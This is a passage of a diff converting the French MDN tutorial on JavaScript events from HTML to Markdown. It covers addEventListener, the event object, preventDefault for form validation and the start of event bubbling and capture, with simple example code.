[`addEventListener()`](/fr/docs/Web/API/EventTarget/addEventListener) , nous spécifions deux paramètres - le nom de l'événement pour lequel nous voulons enregistrer ce gestionnaire, et le code qui comprend la fonction du gestionnaire que nous voulons exécuter en réponse. Notez qu'il est parfaitement approprié de placer tout le code dans la fonction [`addEventListener()`](/fr/docs/Web/API/EventTarget/addEventListener), dans une fonction anonyme, comme ceci: -<pre class="brush: js">btn.addEventListener('click', function() { +```js +btn.addEventListener('click', function() { var rndCol = 'rgb(' + random(255) + ',' + random(255) + ',' + random(255) + ')'; document.body.style.backgroundColor = rndCol; -});</pre> +}); +``` + +Ce mécanisme a certains avantages par rapport aux mécanismes plus anciens discutés précédemment. Pour commencer, il existe une fonction réciproque, [`removeEventListener()`](/fr/docs/Web/API/EventTarget/removeEventListener), qui supprime un écouteur ajouté précédemment. Par exemple, cela supprimerait l'écouteur du premier bloc de code de cette section: + +```js +btn.removeEventListener('click', bgChange); +``` + +Ceci n'a pas beaucoup de sens pour les programmes simples et de petite taille, mais pour les programmes plus grands et plus complexes, cela peut améliorer l'efficacité, de nettoyer les anciens gestionnaires d'événements inutilisés. De plus, par exemple, cela vous permet d'avoir un même bouton qui effectue différentes actions dans des circonstances différentes - tout ce que vous avez à faire est d'ajouter / supprimer des gestionnaires d'événements convenablement. + +D'autre part, vous pouvez également enregistrer plusieurs gestionnaires pour le même écouteur. Les deux gestionnaires suivants ne seraient pas appliqués: + +```js +myElement.onclick = functionA; +myElement.onclick = functionB; +``` -<p>Ce mécanisme a certains avantages par rapport aux mécanismes plus anciens discutés précédemment. Pour commencer, il existe une fonction réciproque, <code><a href="/fr/docs/Web/API/EventTarget/removeEventListener">removeEventListener()</a></code>, qui supprime un écouteur ajouté précédemment. Par exemple, cela supprimerait l'écouteur du premier bloc de code de cette section:</p> +Comme la deuxième ligne remplacerait la valeur de `onclick` définie par le premier. Cependant, ceci fonctionnerait: -<pre class="brush: js">btn.removeEventListener('click', bgChange);</pre> +```js +myElement.addEventListener('click', functionA); +myElement.addEventListener('click', functionB); +``` -<p>Ceci n'a pas beaucoup de sens pour les programmes simples et de petite taille, mais pour les programmes plus grands et plus complexes, cela peut améliorer l'efficacité, de nettoyer les anciens gestionnaires d'événements inutilisés. De plus, par exemple, cela vous permet d'avoir un même bouton qui effectue différentes actions dans des circonstances différentes - tout ce que vous avez à faire est d'ajouter / supprimer des gestionnaires d'événements convenablement.<br> - <br> - D'autre part, vous pouvez également enregistrer plusieurs gestionnaires pour le même écouteur. Les deux gestionnaires suivants ne seraient pas appliqués:</p> +Les deux fonctions seraient maintenant exécutées lorsque l'élément est cliqué. -<pre class="brush: js">myElement.onclick = functionA; -myElement.onclick = functionB;</pre> +En outre, il existe un certain nombre d'autres fonctionnalités et options puissantes disponibles avec ce mécanisme d'événement. Celles-ci sont un peu hors de propos pour cet article, mais si vous voulez en savoir plus sur elles, jetez un oeil aux pages de référence de [`addEventListener()`](/fr/docs/Web/API/EventTarget/addEventListener) et [`removeEventListener()`](/fr/docs/Web/API/EventTarget/removeEventListener). -<p>Comme la deuxième ligne remplacerait la valeur de <code>onclick</code> définie par le premier. Cependant, ceci fonctionnerait:</p> +### Quel mécanisme devrais-je utiliser ? -<pre class="brush: js">myElement.addEventListener('click', functionA); -myElement.addEventListener('click', functionB);</pre> +Parmi les trois mécanismes, vous ne devriez certainement pas utiliser les attributs du gestionnaire d'événement HTML - ceux-ci sont obsolètes et constituent une mauvaise pratique, comme mentionné ci-dessus. -<p>Les deux fonctions seraient maintenant exécutées lorsque l'élément est cliqué.<br> - <br> - En outre, il existe un certain nombre d'autres fonctionnalités et options puissantes disponibles avec ce mécanisme d'événement. Celles-ci sont un peu hors de propos pour cet article, mais si vous voulez en savoir plus sur elles, jetez un oeil aux pages de référence de <code><a href="/fr/docs/Web/API/EventTarget/addEventListener">addEventListener()</a></code> et <code><a href="/fr/docs/Web/API/EventTarget/removeEventListener">removeEventListener()</a></code>.</p> +Les deux autres sont relativement interchangeables, au moins pour des utilisations simples: -<h3 id="Quel_mécanisme_devrais-je_utiliser">Quel mécanisme devrais-je utiliser ?</h3> -<p>Parmi les trois mécanismes, vous ne devriez certainement pas utiliser les attributs du gestionnaire d'événement HTML - ceux-ci sont obsolètes et constituent une mauvaise pratique, comme mentionné ci-dessus.<br> - <br> - Les deux autres sont relativement interchangeables, au moins pour des utilisations simples:<br> - </p> -<ul> - <li> Les propriétés du gestionnaire d'événement ont moins de puissance et d'options, mais une meilleure compatibilité entre les navigateurs (prise en charge depuis Internet Explorer 8). Vous devriez probablement commencer par ceux-ci pendant votre apprentissage.</li> - <li> Les événements du DOM Niveau 2 (<code>addEventListener()</code>, etc.) sont plus puissants, mais peuvent aussi devenir plus complexes et moins bien supportés (supportés depuis Internet Explorer 9). Vous devriez également vous entraîner avec, et tenter de les utiliser si possible.</li> -</ul> +- Les propriétés du gestionnaire d'événement ont moins de puissance et d'options, mais une meilleure compatibilité entre les navigateurs (prise en charge depuis Internet Explorer 8). Vous devriez probablement commencer par ceux-ci pendant votre apprentissage. +- Les événements du DOM Niveau 2 (`addEventListener()`, etc.) sont plus puissants, mais peuvent aussi devenir plus complexes et moins bien supportés (supportés depuis Internet Explorer 9). Vous devriez également vous entraîner avec, et tenter de les utiliser si possible. -<p>Les principaux avantages du troisième mécanisme : vous pouvez supprimer le code du gestionnaire d'événement si nécessaire en utilisant <code>removeEventListener()</code>, et vous pouvez ajouter plusieurs écouteurs du même type aux éléments si nécessaire. Par exemple, vous pouvez appeler <code>addEventListener('click', function() { ... })</code> sur un élément plusieurs fois, avec différentes fonctions spécifiées dans le deuxième argument. Cela est impossible avec les propriétés du gestionnaire d'événement car toute tentative ultérieure de définition d'une propriété remplacera les propriétés précédentes, par exemple:</p> +Les principaux avantages du troisième mécanisme : vous pouvez supprimer le code du gestionnaire d'événement si nécessaire en utilisant `removeEventListener()`, et vous pouvez ajouter plusieurs écouteurs du même type aux éléments si nécessaire. Par exemple, vous pouvez appeler `addEventListener('click', function() { ... })` sur un élément plusieurs fois, avec différentes fonctions spécifiées dans le deuxième argument. Cela est impossible avec les propriétés du gestionnaire d'événement car toute tentative ultérieure de définition d'une propriété remplacera les propriétés précédentes, par exemple: -<pre class="brush: js">element.onclick = function1; +```js +element.onclick = function1; element.onclick = function2; -etc.</pre> +etc. +``` -<div class="note"> -<p><strong>Note:</strong> Si vous êtes appelé à prendre en charge des navigateurs plus anciens qu'Internet Explorer 8 dans votre travail, vous risquez de rencontrer des difficultés, car ces anciens navigateurs utilisent des modèles d'événements différents des nouveaux navigateurs. Mais n'ayez crainte, la plupart des bibliothèques JavaScript (par exemple <code>jQuery</code>) ont des fonctions intégrées qui permettent d'éliminer les différences entre navigateurs. Ne vous en faites pas trop à ce stade de votre parcours d'apprentissage.</p> -</div> +> **Note :** Si vous êtes appelé à prendre en charge des navigateurs plus anciens qu'Internet Explorer 8 dans votre travail, vous risquez de rencontrer des difficultés, car ces anciens navigateurs utilisent des modèles d'événements différents des nouveaux navigateurs. Mais n'ayez crainte, la plupart des bibliothèques JavaScript (par exemple `jQuery`) ont des fonctions intégrées qui permettent d'éliminer les différences entre navigateurs. Ne vous en faites pas trop à ce stade de votre parcours d'apprentissage. -<h2 id="D'autres_concepts_liés_aux_événements">D'autres concepts liés aux événements</h2> +## D'autres concepts liés aux événements -<p>Dans cette section, nous aborderons brièvement quelques concepts avancés relatifs aux événements. Il n'est pas important de les comprendre entièrement à ce stade, mais cela pourra servir à expliquer certains modèles de code que vous rencontrerez probablement de temps en temps.</p> +Dans cette section, nous aborderons brièvement quelques concepts avancés relatifs aux événements. Il n'est pas important de les comprendre entièrement à ce stade, mais cela pourra servir à expliquer certains modèles de code que vous rencontrerez probablement de temps en temps. -<h3 id="L'objet_événement">L'objet événement</h3> +### L'objet événement -<p>Parfois, dans une fonction de gestionnaire d'événement, vous pouvez voir un paramètre spécifié avec un nom tel que <code>event</code>, <code>evt</code>, ou simplement <code>e</code> . C'est ce qu'on appelle l'objet événement, qui est automatiquement transmis aux gestionnaires d'événements pour fournir des fonctionnalités et des informations supplémentaires. Par exemple, réécrivons légèrement notre exemple de couleur aléatoire:</p> +Parfois, dans une fonction de gestionnaire d'événement, vous pouvez voir un paramètre spécifié avec un nom tel que `event`, `evt`, ou simplement `e` . C'est ce qu'on appelle l'objet événement, qui est automatiquement transmis aux gestionnaires d'événements pour fournir des fonctionnalités et des informations supplémentaires. Par exemple, réécrivons légèrement notre exemple de couleur aléatoire: -<pre class="brush: js">function bgChange(e) { +```js +function bgChange(e) { var rndCol = 'rgb(' + random(255) + ',' + random(255) + ',' + random(255) + ')'; e.target.style.backgroundColor = rndCol; console.log(e); } -btn.addEventListener('click', bgChange);</pre> +btn.addEventListener('click', bgChange); +``` -<div class="note"> -<p><strong>Note :</strong> Vous trouverez le <a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/events/random-color-eventobject.html">code source complet </a>de cet exemple sur GitHub (également <a href="http://mdn.github.io/learning-area/javascript/building-blocks/events/random-color-eventobject.html">le voir s'exécuter</a>).</p> -</div> +> **Note :** Vous trouverez le [code source complet ](https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/events/random-color-eventobject.html)de cet exemple sur GitHub (également [le voir s'exécuter](http://mdn.github.io/learning-area/javascript/building-blocks/events/random-color-eventobject.html)). -<p>Ici, vous pouvez voir que nous incluons un objet événement, <strong>e</strong>, dans la fonction, et dans la fonction définissant un style de couleur d'arrière-plan sur <code>e.target</code> - qui est le bouton lui-même. La propriété <code>target</code> de l'objet événement est toujours une référence à l'élément sur lequel l'événement vient de se produire. Donc, dans cet exemple, nous définissons une couleur d'arrière-plan aléatoire sur le bouton, pas sur la page.</p> +Ici, vous pouvez voir que nous incluons un objet événement, **e**, dans la fonction, et dans la fonction définissant un style de couleur d'arrière-plan sur `e.target` - qui est le bouton lui-même. La propriété `target` de l'objet événement est toujours une référence à l'élément sur lequel l'événement vient de se produire. Donc, dans cet exemple, nous définissons une couleur d'arrière-plan aléatoire sur le bouton, pas sur la page. -<div class="note"> -<p><strong>Note :</strong> Vous pouvez utiliser n'importe quel nom pour l'objet d'événement - il vous suffit de choisir un nom que vous pouvez ensuite utiliser pour le référencer dans la fonction du gestionnaire d'événements. <code>e</code>/<code>evt</code>/<code>event</code> sont les plus couramment utilisés par les développeurs car ils sont courts et faciles à retenir. C'est toujours bon de s'en tenir à une norme.</p> -</div> +> **Note :** Vous pouvez utiliser n'importe quel nom pour l'objet d'événement - il vous suffit de choisir un nom que vous pouvez ensuite utiliser pour le référencer dans la fonction du gestionnaire d'événements. `e`/`evt`/`event` sont les plus couramment utilisés par les développeurs car ils sont courts et faciles à retenir. C'est toujours bon de s'en tenir à une norme. -<p><code>e.target</code>est incroyablement utile lorsque vous voulez définir le même gestionnaire d'événements sur plusieurs éléments et affecter une action à chacun d'entre eux quand un événement se produit sur eux. Vous pourriez, par exemple, avoir un ensemble de 16 tuiles qui disparaissent quand on clique dessus. Il est utile de toujours pouvoir affecter une action à <code>e.target</code>, plutôt que de devoir la sélectionner de manière plus difficile. Dans l'exemple suivant (voir <a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/events/useful-eventtarget.html">useful-eventtarget.html</a> pour le code source ; et ici pour le voir <a href="http://mdn.github.io/learning-area/javascript/building-blocks/events/useful-eventtarget.html">s'exécuter</a>), nous avons créé 16 éléments {{htmlelement("div")}} avec JavaScript. Quand nous les sélectionnons tous en utilisant {{domxref("document.querySelectorAll()")}}, puis que nous faisons une boucle sur chacun d'eux, en ajoutant un gestionnaire <code>onclick</code> à chacun de sorte qu'une couleur aléatoire est appliquée lorsque l'élément est cliqué:</p> +`e.target`est incroyablement utile lorsque vous voulez définir le même gestionnaire d'événements sur plusieurs éléments et affecter une action à chacun d'entre eux quand un événement se produit sur eux. Vous pourriez, par exemple, avoir un ensemble de 16 tuiles qui disparaissent quand on clique dessus. Il est utile de toujours pouvoir affecter une action à `e.target`, plutôt que de devoir la sélectionner de manière plus difficile. Dans l'exemple suivant (voir [useful-eventtarget.html](https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/events/useful-eventtarget.html) pour le code source ; et ici pour le voir [s'exécuter](http://mdn.github.io/learning-area/javascript/building-blocks/events/useful-eventtarget.html)), nous avons créé 16 éléments {{htmlelement("div")}} avec JavaScript. Quand nous les sélectionnons tous en utilisant {{domxref("document.querySelectorAll()")}}, puis que nous faisons une boucle sur chacun d'eux, en ajoutant un gestionnaire `onclick` à chacun de sorte qu'une couleur aléatoire est appliquée lorsque l'élément est cliqué: -<pre class="brush: js">var divs = document.querySelectorAll('div'); +```js +var divs = document.querySelectorAll('div'); -for (var i = 0; i < divs.length; i++) { +for (var i = 0; i < divs.length; i++) { divs[i].onclick = function(e) { e.target.style.backgroundColor = bgChange(); } -}</pre> +} +``` -<h4>Résultat</h4> +#### Résultat -<p>Le résultat est le suivant (essayez de cliquer dessus - amusez-vous):</p> +Le résultat est le suivant (essayez de cliquer dessus - amusez-vous): -<pre class="brush: html hidden"><!DOCTYPE html> -<html> - <head> - <meta charset="utf-8"> - <title>Useful event target example</title> - <style> +```html hidden +<!DOCTYPE html> +<html> + <head> + <meta charset="utf-8"> + <title>Useful event target example</title> + <style> div { background-color: red; height: 100px; width: 25%; float: left; } - </style> - </head> - <body> - <script> - for (var i = 1; i <= 16; i++) { + </style> + </head> + <body> + <script> + for (var i = 1; i <= 16; i++) { var myDiv = document.createElement('div'); document.body.appendChild(myDiv); } @@ -305,50 +328,55 @@ for (var i = 0; i < divs.length; i++) { var divs = document.querySelectorAll('div'); - for (var i = 0; i < divs.length; i++) { + for (var i = 0; i < divs.length; i++) { divs[i].onclick = function(e) { e.target.style.backgroundColor = bgChange(); } } - </script> - </body> -</html></pre> - -<p>{{ EmbedLiveSample('Résultat', '100%', 400, "", "", "hide-codepen-jsfiddle") }}</p> - -<p>La plupart des gestionnaires d'événements que vous rencontrerez ne disposent que d'un ensemble standard de propriétés et de fonctions (méthodes) disponibles sur l'objet événement (voir la liste complète sur {{domxref("Event")}} ). Cependant, certains gestionnaires plus avancés ajoutent des propriétés spécialisées contenant des données supplémentaires dont ils ont besoin pour fonctionner. Le <a href="/fr/docs/Web/API/MediaRecorder_API">Media Recorder API</a>, par exemple, a un événement <code>dataavailable</code> , qui se déclenche quand un fichier audio ou vidéo a été enregistré et est disponible pour être utilisé (par exemple, pour l'enregistrer ou le lire). L'objet événement du gestionnaire <a href="/fr/docs/Web/API/MediaRecorder/ondataavailable">ondataavailable</a> correspondant dispose d'une propriété <code>data</code> contenant les données audio ou vidéo enregistrées pour vous permettre d'y accéder et de l'utiliser.</p> - -<h3 id="Éviter_le_comportement_par_défaut">Éviter le comportement par défaut</h3> - -<p>Parfois, vous rencontrerez une situation où vous voudrez arrêter un événement qui adopte son comportement par défaut. L'exemple le plus courant est celui d'un formulaire Web, par exemple un formulaire d'inscription personnalisé. Lorsque vous remplissez les détails et appuyez sur le bouton "Soumettre", le comportement naturel consiste à soumettre les données à une page spécifiée sur le serveur pour traitement, et le navigateur redirige vers une page de "message de réussite" quelconque (ou la même page, si une autre n'est pas spécifiée.).<br> - <br> - Le problème survient lorsque l'utilisateur n'a pas soumis les données correctement. En tant que développeur, vous devez arrêter la soumission au serveur et lui envoyer un message d'erreur indiquant ce qui ne va pas et ce qui doit être fait pour corriger les erreurs. Certains navigateurs prennent en charge les fonctions de validation automatique des données de formulaire, mais comme beaucoup ne le font pas, il est conseillé de ne pas vous y fier et d'implémenter vos propres contrôles de validation. Regardons un exemple simple.<br> - <br> - Tout d'abord, un simple formulaire HTML qui vous oblige à entrer votre nom et votre prénom:</p> - -<pre class="brush: html"><form> - <div> - <label for="fname">First name: </label> - <input id="fname" type="text"> - </div> - <div> - <label for="lname">Last name: </label> - <input id="lname" type="text"> - </div> - <div> - <input id="submit" type="submit"> - </div> -</form> -<p></p></pre> - -<pre class="brush: css hidden">div { + </script> + </body> +</html> +``` + +{{ EmbedLiveSample('Résultat', '100%', 400, "", "", "hide-codepen-jsfiddle") }} + +La plupart des gestionnaires d'événements que vous rencontrerez ne disposent que d'un ensemble standard de propriétés et de fonctions (méthodes) disponibles sur l'objet événement (voir la liste complète sur {{domxref("Event")}} ). Cependant, certains gestionnaires plus avancés ajoutent des propriétés spécialisées contenant des données supplémentaires dont ils ont besoin pour fonctionner. Le [Media Recorder API](/fr/docs/Web/API/MediaRecorder_API), par exemple, a un événement `dataavailable` , qui se déclenche quand un fichier audio ou vidéo a été enregistré et est disponible pour être utilisé (par exemple, pour l'enregistrer ou le lire). L'objet événement du gestionnaire [ondataavailable](/fr/docs/Web/API/MediaRecorder/ondataavailable) correspondant dispose d'une propriété `data` contenant les données audio ou vidéo enregistrées pour vous permettre d'y accéder et de l'utiliser. + +### Éviter le comportement par défaut + +Parfois, vous rencontrerez une situation où vous voudrez arrêter un événement qui adopte son comportement par défaut. L'exemple le plus courant est celui d'un formulaire Web, par exemple un formulaire d'inscription personnalisé. Lorsque vous remplissez les détails et appuyez sur le bouton "Soumettre", le comportement naturel consiste à soumettre les données à une page spécifiée sur le serveur pour traitement, et le navigateur redirige vers une page de "message de réussite" quelconque (ou la même page, si une autre n'est pas spécifiée.). + +Le problème survient lorsque l'utilisateur n'a pas soumis les données correctement. En tant que développeur, vous devez arrêter la soumission au serveur et lui envoyer un message d'erreur indiquant ce qui ne va pas et ce qui doit être fait pour corriger les erreurs. Certains navigateurs prennent en charge les fonctions de validation automatique des données de formulaire, mais comme beaucoup ne le font pas, il est conseillé de ne pas vous y fier et d'implémenter vos propres contrôles de validation. Regardons un exemple simple. + +Tout d'abord, un simple formulaire HTML qui vous oblige à entrer votre nom et votre prénom: + +```html +<form> + <div> + <label for="fname">First name: </label> + <input id="fname" type="text"> + </div> + <div> + <label for="lname">Last name: </label> + <input id="lname" type="text"> + </div> + <div> + <input id="submit" type="submit"> + </div> +</form> +<p></p> +``` + +```css hidden +div { margin-bottom: 10px; } -</pre> +``` -<p>Maintenant un peu de JavaScript - ici nous implémentons une vérification très simple dans un gestionnaire d'événement <a href="/fr/docs/Web/API/GlobalEventHandlers/onsubmit">onsubmit</a> (l'événement submit est renvoyé sur un formulaire quand il est soumis) qui vérifie si les champs de texte sont vides. Si c'est le cas, nous appelons la fonction <code><a href="/fr/docs/Web/API/Event/preventDefault">preventDefault()</a></code> sur l'objet événement - ce qui stoppe la soumission du formulaire - puis nous affichons un message d'erreur dans le paragraphe sous notre formulaire pour indiquer à l'utilisateur ce qui ne va pas :</p> +Maintenant un peu de JavaScript - ici nous implémentons une vérification très simple dans un gestionnaire d'événement [onsubmit](/fr/docs/Web/API/GlobalEventHandlers/onsubmit) (l'événement submit est renvoyé sur un formulaire quand il est soumis) qui vérifie si les champs de texte sont vides. Si c'est le cas, nous appelons la fonction [`preventDefault()`](/fr/docs/Web/API/Event/preventDefault) sur l'objet événement - ce qui stoppe la soumission du formulaire - puis nous affichons un message d'erreur dans le paragraphe sous notre formulaire pour indiquer à l'utilisateur ce qui ne va pas : -<pre class="brush: js">var form = document.querySelector('form'); +```js +var form = document.querySelector('form'); var fname = document.getElementById('fname'); var lname = document.getElementById('lname'); var submit = document.getElementById('submit'); @@ -359,26 +387,26 @@ form.onsubmit = function(e) { e.preventDefault(); para.textContent = 'You need to fill in both names!'; } -}</pre> +} +``` -<p>Évidemment, cette validation est assez faible - cela n'empêcherait pas l'utilisateur de valider le formulaire avec des espaces ou des nombres entrés dans les champs, par exemple - mais cela est acceptable. Le résultat est le suivant :</p> +Évidemment, cette validation est assez faible - cela n'empêcherait pas l'utilisateur de valider le formulaire avec des espaces ou des nombres entrés dans les champs, par exemple - mais cela est acceptable. Le résultat est le suivant : -<p>{{ EmbedLiveSample('Éviter_le_comportement_par_défaut', '100%', 140, "", "", "hide-codepen-jsfiddle") }}</p> +{{ EmbedLiveSample('Éviter_le_comportement_par_défaut', '100%', 140, "", "", "hide-codepen-jsfiddle") }} -<div class="note"> -<p><strong>Note :</strong> pour le code source, voir <a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/events/preventdefault-validation.html">preventdefault-validation.html</a> (et le voir s'exécuter <a href="http://mdn.github.io/learning-area/javascript/building-blocks/events/preventdefault-validation.html">ici</a>.)</p> -</div> +> **Note :** pour le code source, voir [preventdefault-validation.html](https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/events/preventdefault-validation.html) (et le voir s'exécuter [ici](http://mdn.github.io/learning-area/javascript/building-blocks/events/preventdefault-validation.html).) -<h3 id="Le_bouillonnement_et_la_capture">Le bouillonnement et la capture</h3> +### Le bouillonnement et la capture -<p>Le dernier sujet à aborder ici est quelque chose que vous ne rencontrerez pas souvent, mais cela peut être une vraie difficulté si vous ne le comprenez pas. Le bouillonnement et la capture d'événements sont deux mécanismes qui décrivent ce qui se passe lorsque deux gestionnaires du même type d'événement sont activés sur un même élément. Regardons un exemple pour faciliter cela - ouvrez l'exemple <a href="http://mdn.github.io/learning-area/javascript/building-blocks/events/show-video-box.html">show-video-box.html</a> dans un nouvel onglet (et le <a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/events/show-video-box.html">code source </a>dans un autre). C'est également disponible en live ci-dessous.</p> +Le dernier sujet à aborder ici est quelque chose que vous ne rencontrerez pas souvent, mais cela peut être une vraie difficulté si vous ne le comprenez pas. Le bouillonnement et la capture d'événements sont deux mécanismes qui décrivent ce qui se passe lorsque deux gestionnaires du même type d'événement sont activés sur un même élément. Regardons un exemple pour faciliter cela - ouvrez l'exemple [show-video-box.html](http://mdn.github.io/learning-area/javascript/building-blocks/events/show-video-box.html) dans un nouvel onglet (et le [code source ](https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/events/show-video-box.html)dans un autre). C'est également disponible en live ci-dessous. -<pre class="brush: html hidden"><!DOCTYPE html> -<html> - <head> - <meta charset="utf-8"> - <title>Show video box example</title> - <style> +```html hidden +<!DOCTYPE html> +<html> + <head> + <meta charset="utf-8"> + <title>Show video box example</title> + <style> div { position: absolute; top: 50%; @@ -404,20 +432,20 @@ form.onsubmit = function(e) { margin: 40px auto; } - </style> - </head> - <body> - <button>Display video</button> + </style> + </head> + <body> + <button>Display video</button> - <div class="hidden"> - <video> - <source src="https://raw.githubusercontent.com/mdn/learning-area/master/javascript/building-blocks/events/rabbit320.mp4" type="video/mp4"> - <source src="https://raw.githubusercontent.com/mdn/learning-area/master/javascript/building-blocks/events/rabbit320.webm" type="video/webm"> - <p>Your browser doesn't support HTML5 video. Here is a <a href="rabbit320.mp4">link to the video</a> instead.</p> - </video> - </div> + <div class="hidden"> + <video> + <source src="https://raw.githubusercontent.com/mdn/learning-area/master/javascript/building-blocks/events/rabbit320.mp4" type="video/mp4"> + <source src="https://raw.githubusercontent.com/mdn/learning-area/master/javascript/building-blocks/events/rabbit320.webm" type="video/webm"> + <p>Your browser doesn't support HTML5 video. Here is a <a href="rabbit320.mp4">link to the video</a> instead.</p> + </video> + </div> - <script> + <script> var btn = document.querySelector('button'); var videoBox = document.querySelector('div'); @@ -441,128 +469,121 @@ form.onsubmit = function(e) { video.play(); }); - </script> - </body> -</html></pre> + </script> + </body> +</html> +``` -<p>{{ EmbedLiveSample('Le_bouillonnement_et_la_capture', '100%', 500, "", "", "hide-codepen-jsfiddle") }}</p> +{{ EmbedLiveSample('Le_bouillonnement_et_la_capture', '100%', 500, "", "", "hide-codepen-jsfiddle") }} -<p>Ceci est un exemple assez simple qui montre et cache une balise {{htmlelement("div")}} avec une balise {{htmlelement("video")}} à l'intérieur:</p> +Ceci est un exemple assez simple qui montre et cache une balise {{htmlelement("div")}} avec une balise {{htmlelement("video")}} à l'intérieur: -<pre class="brush: html"><button>Display video</button> +```html +<button>Display video</button> -<div class="hidden"> - <video> - <source src="rabbit320.mp4" type="video/mp4"> - <source src="rabbit320.webm" type="video/webm"> - <p>Your browser doesn't support HTML5 video. Here is a <a href="rabbit320.mp4">link to the video</a> instead.</p> - </video> -</div></pre> +<div class="hidden"> + <video> + <source src="rabbit320.mp4" type="video/mp4"> + <source src="rabbit320.webm" type="video/webm"> + <p>Your browser doesn't support HTML5 video. Here is a <a href="rabbit320.mp4">link to the video</a> instead.</p> + </video> +</div> +``` -<p>Quand le {{htmlelement("button")}} est cliqué, la vidéo est affichée, en changeant l'attribut de classe sur la balise <code><div></code> de <code>hidden</code> à <code>showing</code> ( le CSS de l'exemple contient ces deux classes, qui positionnent respectivement la boîte hors de l'écran et sur l'écran.) :</p> +Quand le {{htmlelement("button")}} est cliqué, la vidéo est affichée, en changeant l'attribut de classe sur la balise `<div>` de `hidden` à `showing` ( le CSS de l'exemple contient ces deux classes, qui positionnent respectivement la boîte hors de l'écran et sur l'écran.) : -<pre class="brush: js">btn.onclick = function() { +```js +btn.onclick = function() { videoBox.setAttribute('class', 'showing'); -}</pre> +} +``` -<p>Nous ajoutons ensuite quelques gestionnaires d'événements <code>onclick</code> supplémentaires - le premier à <code><div></code> et le second à <code><video></code>. L'idée est que lorsque l'on clique sur la zone du <code><div></code> en dehors de la vidéo, la boîte doit être masquée à nouveau; Lorsque la vidéo elle-même est cliquée, la vidéo devrait commencer à jouer. </p> +Nous ajoutons ensuite quelques gestionnaires d'événements `onclick` supplémentaires - le premier à `<div>` et le second à `<video>`. L'idée est que lorsque l'on clique sur la zone du `<div>` en dehors de la vidéo, la boîte doit être masquée à nouveau; Lorsque la vidéo elle-même est cliquée, la vidéo devrait commencer à jouer. -<pre>videoBox.onclick = function() { - videoBox.setAttribute('class', 'hidden'); -}; + videoBox.onclick = function() { + videoBox.setAttribute('class', 'hidden'); + }; -video.onclick = function() { - video.play(); -};</pre> + video.onclick = function() { + video.play(); + }; + +Mais il y a un problème - actuellement, lorsque vous cliquez sur la vidéo, elle commence à jouer, mais cela entraîne le fait que `<div>` est également caché en même temps. C'est parce que la vidéo est dans le `<div>` - elle en fait partie - alors que cliquer sur la vidéo lance les _deux_ gestionnaires d'événements ci-dessus. + +#### Explication du bouillonnement et de la capture -<p>Mais il y a un problème - actuellement, lorsque vous cliquez sur la vidéo, elle commence à jouer, mais cela entraîne le fait que <code><div></code> est également caché en même temps. C'est parce que la vidéo est dans le <code><div></code> - elle en fait partie - alors que cliquer sur la vidéo lance les <em>deux</em> gestionnaires d'événements ci-dessus.</p> +Quand un événement se déclenche sur un élément qui a des éléments parents (p.ex. l'élément {{htmlelement("video")}} dans notre cas), les navigateurs modernes utilisent deux phases différentes: la phase de **capture** et la phase de **bouillonnement**. -<h4 id="Explication_du_bouillonnement_et_de_la_capture">Explication du bouillonnement et de la capture</h4> +Dans la phase de capture: -<p>Quand un événement se déclenche sur un élément qui a des éléments parents (p.ex. l'élément {{htmlelement("video")}} dans notre cas), les navigateurs modernes utilisent deux phases différentes: la phase de <strong>capture</strong> et la phase de <strong>bouillonnement</strong>.<br> - <br> - Dans la phase de capture:</p> +- Le navigateur vérifie si l'ancêtre le plus éloigné de l'élément ({{htmlelement("html")}}) dispose d'un gestionnaire d'événement `onclick` enregistré pendant la phase de capture et le lance si c'est le cas. +- Ensuite, il passe à l'élément suivant à l'intérieur de `<html>` et fait la même chose, puis la suivante, et ainsi de suite jusqu'à ce qu'il atteigne l'élément sur lequel on a cliqué. -<ul> - <li>Le navigateur vérifie si l'ancêtre le plus éloigné de l'élément ({{htmlelement("html")}}) dispose d'un gestionnaire d'événement <code>onclick</code> enregistré pendant la phase de capture et le lance si c'est le cas.</li> - <li>Ensuite, il passe à l'élément suivant à l'intérieur de <code><html></code> et fait la même chose, puis la suivante, et ainsi de suite jusqu'à ce qu'il atteigne l'élément sur lequel on a cliqué.</li> -</ul> +Dans la phase de bouillonnement, l'opposé exact se produit: -<p>Dans la phase de bouillonnement, l'opposé exact se produit:<br> - <br> - Le navigateur vérifie si l'élément qui a été cliqué a un gestionnaire d'événement <code>onclick</code> enregistré dans la phase de bouillonnement et l'exécute si c'est le cas.<br> - Ensuite, il passe à l'élément ancêtre immédiat et fait la même chose, puis le suivant, et ainsi de suite jusqu'à ce qu'il atteigne l'élément <code><html></code>.</p> +Le navigateur vérifie si l'élément qui a été cliqué a un gestionnaire d'événement `onclick` enregistré dans la phase de bouillonnement et l'exécute si c'est le cas. + Ensuite, il passe à l'élément ancêtre immédiat et fait la même chose, puis le suivant, et ainsi de suite jusqu'à ce qu'il atteigne l'élément `<html>`. -<p><a href="https://mdn.mozillademos.org/files/16064/bubbling-capturing.png"><img alt="" src="bubbling-capturing.png"></a></p> +[](https://mdn.mozillademos.org/files/16064/bubbling-capturing.png) -<p>(Cliquez sur l'image pour l'agrandir et la voir traduite en français.)</p> +(Cliquez sur l'image pour l'agrandir et la voir traduite en français.) -<p>Dans les navigateurs modernes, par défaut, tous les gestionnaires d'événements sont enregistrés dans la phase de bouillonnement. Ainsi, dans notre exemple actuel, lorsque vous cliquez sur la vidéo, l'événement click fait un bouillonnement de l'élément <code><video></code> vers l'élément <code><html></code>. Comme ceci :</p> +Dans les navigateurs modernes, par défaut, tous les gestionnaires d'événements sont enregistrés dans la phase de bouillonnement. Ainsi, dans notre exemple actuel, lorsque vous cliquez sur la vidéo, l'événement click fait un bouillonnement de l'élément `<video>` vers l'élément `<html>`. Comme ceci : -<ul> - <li>Il trouve d'abord le gestionnaire <code>video.onclick...</code> et le lance, de manière à ce que la vidéo soit jouée en premier.</li> - <li>Ensuite il trouve le gestionnaire <code>videoBox.onclick...</code> et le lance, de sorte que la vidéo est cachée.</li> -</ul> +- Il trouve d'abord le gestionnaire `video.onclick...` et le lance, de manière à ce que la vidéo soit jouée en premier. +- Ensuite il trouve le gestionnaire `videoBox.onclick...` et le lance, de sorte que la vidéo est cachée. -<h4 